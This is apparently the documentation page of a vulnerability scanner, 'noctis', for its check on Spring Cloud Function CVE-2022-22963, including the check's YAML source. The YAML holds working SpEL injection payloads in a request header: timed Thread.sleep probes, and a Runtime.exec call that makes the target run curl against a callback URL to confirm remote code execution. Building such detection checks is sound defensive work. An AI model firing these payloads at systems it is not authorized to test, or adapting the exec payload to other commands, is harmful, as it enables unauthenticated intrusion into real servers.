Spring Cloud Function — 1 vulnerability check
noctis ships 1 vulnerability check for Spring Cloud Function, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Spring Cloud Function SpEL Injection RCE
| CVE | CVE-2022-22963 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/spring-cloud-function/CVE-2022-22963.yaml |
Tests VMware Spring Cloud Function for SpEL injection via the spring.cloud.function.routing-expression header at POST /functionRouter. The header is sent three times with T(java.lang.Thread).sleep(N) for 0, 2000 and 4000 ms, then 0 ms again: a vulnerable server evaluates the expression and answers each request N ms later, while a fixed release rejects T() at once and every reply is fast (QoD 75). When an out-of-band callback server is configured, the expression also runs curl against a per-scan callback URL, and the received callback confirms command execution (QoD 97).
How noctis detects it
- HTTP(S) request
POST /functionRouterwith a crafted body - HTTP(S) request
POST /functionRouterwith a crafted body - HTTP(S) request
POST /functionRouterwith a crafted body - HTTP(S) request
POST /functionRouterwith a crafted body - Checks
slow4.statusfor^[1-5][0-9][0-9]$→ finding QoD 75: Spring Cloud Function evaluated the SpEL routing-expression header at POST /functionRouter: T(java.lang.Thread).sleep(0) answered HTTP … in… - HTTP(S) request
POST /noctis-absent-{{oob_token}}with a crafted body - HTTP(S) request
POST /functionRouterwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB callback received — the SpEL payload executed `curl …`, confirming RCE: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22963
- https://tanzu.vmware.com/security/cve-2022-22963
- https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function
Feed source — tests/vulnerabilities/spring-cloud-function/CVE-2022-22963.yaml
# VMware Spring Cloud Function SpEL injection RCE — CVE-2022-22963
#
# When routing is enabled, Spring Cloud Function evaluates the value of the
# `spring.cloud.function.routing-expression` HTTP header as a SpEL expression
# with a StandardEvaluationContext, so an unauthenticated attacker reaches
# `T(java.lang.Runtime).getRuntime().exec(...)` for arbitrary command
# execution. The sample app exposes the sink at POST /functionRouter.
#
# Affected: Spring Cloud Function 3.1.6, 3.2.2 and older. Fixed in 3.1.7 /
# 3.2.3 (SimpleEvaluationContext for header expressions: `T()` is rejected).
#
# Detection — two methods:
# 1. Scaling sleep differential (QoD 75): `T(java.lang.Thread).sleep(N)`
# runs in the request thread, so a vulnerable server answers N ms later.
# A fast control (sleep 0), then 2 s and 4 s: both delays must show up
# and the second must be ~2 s longer than the first; a trailing sleep(0)
# must come back fast again, so a server that slows down with every
# request (tarpit, throttle) does not pass. Delays stay short so a real
# target behind a ~5 s reverse-proxy timeout still answers. A fixed
# release rejects `T()` at once (500 in a few ms). Nothing is executed
# beyond Thread.sleep.
# Real Spring Boot does NOT put the SpelEvaluationException in the reply
# (generic 500 JSON, message only in the server log) — the old
# exception-string match never fired on a real target (#2423).
# Verified on vulhub/spring-cloud-function:3.2.2 (0 ms / 2.0 s / 4.0 s / 0 ms) and on
# the same app with spring-cloud-function-context 3.2.3 (16 ms for both).
# 2. OOB callback (QoD 97): the SpEL payload runs `curl {{oob_url}}`; the
# received callback confirms RCE. Guarded by `oob_enabled`, and by a
# soft-404 control (an absent path must not answer 200), so a catch-all
# server that fetches every URL it sees does not produce a callback.
#
# NOTE: the original NASL confirms via raw TCP/ICMP connect-back; noctis's OOB
# primitive is HTTP-callback-based, so the payload is adapted to `curl
# {{oob_url}}`. Same injection point and sink, HTTP callback transport.
uid: b7e66c22-c449-493e-9979-05269fd6ca92
name: "Spring Cloud Function SpEL Injection RCE (CVE-2022-22963)"
description: |
Tests VMware Spring Cloud Function for SpEL injection via the
spring.cloud.function.routing-expression header at POST /functionRouter.
The header is sent three times with T(java.lang.Thread).sleep(N) for
0, 2000 and 4000 ms, then 0 ms again: a vulnerable server evaluates the expression and
answers each request N ms later, while a fixed release rejects T() at
once and every reply is fast (QoD 75). When an out-of-band callback server is configured, the
expression also runs curl against a per-scan callback URL, and the
received callback confirms command execution (QoD 97).
cves: [CVE-2022-22963]
cvss: 9.8
severity: critical
confidence_base: 0.25
tags: [vmware, spring, spring-cloud-function, spel, rce, kev, oob]
category: rce
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-22963"
- "https://tanzu.vmware.com/security/cve-2022-22963"
- "https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function"
steps:
- id: init-ctl
action: set_var
var_name: ctl
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow2
action: set_var
var_name: slow2
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow4
action: set_var
var_name: slow4
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-ctl2
action: set_var
var_name: ctl2
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-soft404
action: set_var
var_name: soft404
var_value: {status: 0, body: "", duration_ms: 0}
# ── Method 1: scaling sleep differential — SpEL evaluated (QoD 75) ───────
# Control: sleep(0). Must come back fast, or the target is too slow for a
# timing proof (and the 3 s / 6 s probes are skipped).
- id: spel-sleep-0
action: http_request
method: POST
path: "/functionRouter"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
spring.cloud.function.routing-expression: "T(java.lang.Thread).sleep(0)"
Content-Type: "text/plain"
body: "noctis"
store_as: ctl
- id: spel-sleep-2
action: http_request
method: POST
path: "/functionRouter"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 12
headers:
spring.cloud.function.routing-expression: "T(java.lang.Thread).sleep(2000)"
Content-Type: "text/plain"
body: "noctis"
condition: "ctl.status >= 200 && ctl.status != 404 && ctl.duration_ms < 2000"
store_as: slow2
- id: spel-sleep-4
action: http_request
method: POST
path: "/functionRouter"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
spring.cloud.function.routing-expression: "T(java.lang.Thread).sleep(4000)"
Content-Type: "text/plain"
body: "noctis"
condition: "ctl.status >= 200 && ctl.status != 404 && ctl.duration_ms < 2000 && slow2.duration_ms >= 1900"
store_as: slow4
# Trailing control: sleep(0) again must be fast — rules out a server whose
# delay grows with every request.
- id: spel-sleep-0-again
action: http_request
method: POST
path: "/functionRouter"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
spring.cloud.function.routing-expression: "T(java.lang.Thread).sleep(0)"
Content-Type: "text/plain"
body: "noctis"
condition: "ctl.status >= 200 && ctl.status != 404 && ctl.duration_ms < 2000 && slow2.duration_ms >= 1900 && slow4.duration_ms >= 3900"
store_as: ctl2
- id: spel-sleep-confirm
action: match
source: slow4.status
pattern: '^[1-5][0-9][0-9]$'
condition: >-
ctl.status >= 200 && ctl.status != 404 && ctl.duration_ms < 1500
&& ctl2.status == ctl.status && ctl2.duration_ms < 1500
&& slow2.status == ctl.status && slow4.status == ctl.status
&& slow2.duration_ms >= 1900 && slow2.duration_ms < ctl.duration_ms + 4000
&& slow4.duration_ms >= 3900 && slow4.duration_ms < ctl.duration_ms + 7500
&& slow4.duration_ms - slow2.duration_ms >= 1500
on_match:
finding:
confidence_delta: 0.50 # 0.25 + 0.50 = 0.75
qod: 75
evidence: "Spring Cloud Function evaluated the SpEL routing-expression header at POST /functionRouter: T(java.lang.Thread).sleep(0) answered HTTP {{ctl.status}} in {{ctl.duration_ms}} ms, sleep(2000) in {{slow2.duration_ms}} ms, sleep(4000) in {{slow4.duration_ms}} ms, sleep(0) again in {{ctl2.duration_ms}} ms (T() type references are rejected by fixed releases)"
# ── Method 2: OOB callback — confirmed RCE (QoD 97) ──────────────────────
# Skipped unless --oob is configured. Soft-404 control first: a server that
# answers 200 on a path that cannot exist (catch-all honeypot) is skipped.
- id: soft404-probe
action: http_request
method: POST
path: "/noctis-absent-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "text/plain"
body: "noctis"
condition: "oob_enabled"
store_as: soft404
- id: oob-inject
action: http_request
method: POST
path: "/functionRouter"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
spring.cloud.function.routing-expression: 'T(java.lang.Runtime).getRuntime().exec("curl {{oob_url}}")'
Content-Type: "text/plain"
body: "noctis"
store_as: oob_inject_resp
condition: "oob_enabled && soft404.status >= 200 && soft404.status != 200"
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "oob_enabled && soft404.status >= 200 && soft404.status != 200"
on_success:
finding:
confidence_delta: 0.70 # 0.25 + 0.70 = 0.95
qod: 97
evidence: "OOB callback received — the SpEL payload executed `curl {{oob_url}}`, confirming RCE: {{oob_result.body}}"
stop: true